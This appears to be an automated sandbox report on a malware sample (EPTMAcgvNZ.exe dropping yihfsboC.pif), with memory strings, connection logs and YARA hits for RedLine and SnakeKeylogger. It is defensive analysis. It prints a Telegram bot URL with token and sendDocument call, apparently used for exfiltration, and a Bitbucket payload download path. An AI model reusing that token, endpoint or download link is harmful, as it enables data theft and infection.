Source: EPTMAcgvNZ.exe, EPTMAcgvNZ.exe, 00000000.00000002.1396601704.0000000020840000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1351068324.00000000217FB000.00000004.00000020.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1351068324.000000002179D000.00000004.00000020.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1415066252.000000007FB20000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1409907919.0000000021A70000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1396601704.00000000207F0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000000.1351694799.0000000000416000.00000002.00000001.01000000.00000006.sdmp, yihfsboC.pif, 0000000E.00000001.1352324440.00000000011AF000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000000.1460253775.0000000000416000.00000002.00000001.01000000.00000006.sdmp, yihfsboC.pif, 0000001A.00000000.1548597466.0000000000416000.00000002.00000001.01000000.00000006.sdmp, yihfsboC.pif.0.dr	String found in binary or memory: http://www.pmail.com
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.0000000026535000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.00000000263C5000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.00000000260F4000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.00000000260FA000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034A3E000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034B53000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034A76000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034ADA000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.00000000289FA000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028A96000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028B11000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028A32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000260EC000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.0000000026535000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.00000000263C5000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.00000000260FA000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034A3E000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034B53000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034A76000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034ADA000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.00000000289FA000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028A96000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028B11000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028A32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.orgpj
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aui-cdn.atlassian.com/
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-canary.prod-east.f
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-exp.prod-east.frontend.public.atl-paas.net
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;
Source: EPTMAcgvNZ.exe, 00000000.00000002.1353822380.00000000007EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/;
Source: EPTMAcgvNZ.exe, 00000000.00000002.1354974339.0000000000829000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/e427e629-62a6-4ecd-bf22-56e4d6ea083f/downloads/d4025bf5-bb79-
Source: EPTMAcgvNZ.exe, 00000000.00000002.1353822380.00000000007EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com:443/e427e629-62a6-4ecd-bf22-56e4d6ea083f/downloads/d4025bf5-b
Source: EPTMAcgvNZ.exe, 00000000.00000002.1353822380.00000000007D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/
Source: EPTMAcgvNZ.exe, 00000000.00000002.1396601704.00000000208FD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/ntim1478/gpmaw/dow
Source: EPTMAcgvNZ.exe, 00000000.00000002.1396601704.0000000020840000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1353822380.00000000007B6000.00000004.00000020.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1396601704.00000000208E0000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1353822380.000000000076E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/ntim1478/gpmaw/downloads/240_Cobsfhiygmx
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cookielaw.org/
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dz8aopenkvv6s.cloudfront.net
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.prod-east.frontend.public.atl-paas.net
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website

Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443

Source: unknown	HTTPS traffic detected: 185.166.143.48:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 16.182.70.225:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49972 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 14.2.yihfsboC.pif.400000.5.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 26.2.yihfsboC.pif.2b4c0000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.2b4c0000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.2ae90f08.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.2ae90f08.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.3.yihfsboC.pif.327be688.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.3.yihfsboC.pif.327be688.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.34860000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.34860000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.34860000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.34860000.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.2ae90000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.2ae90000.9.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.25d6b98e.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.25d6b98e.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.29915570.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.29915570.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.35955570.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.35955570.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 21.2.Cobsfhiy.PIF.20805c08.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
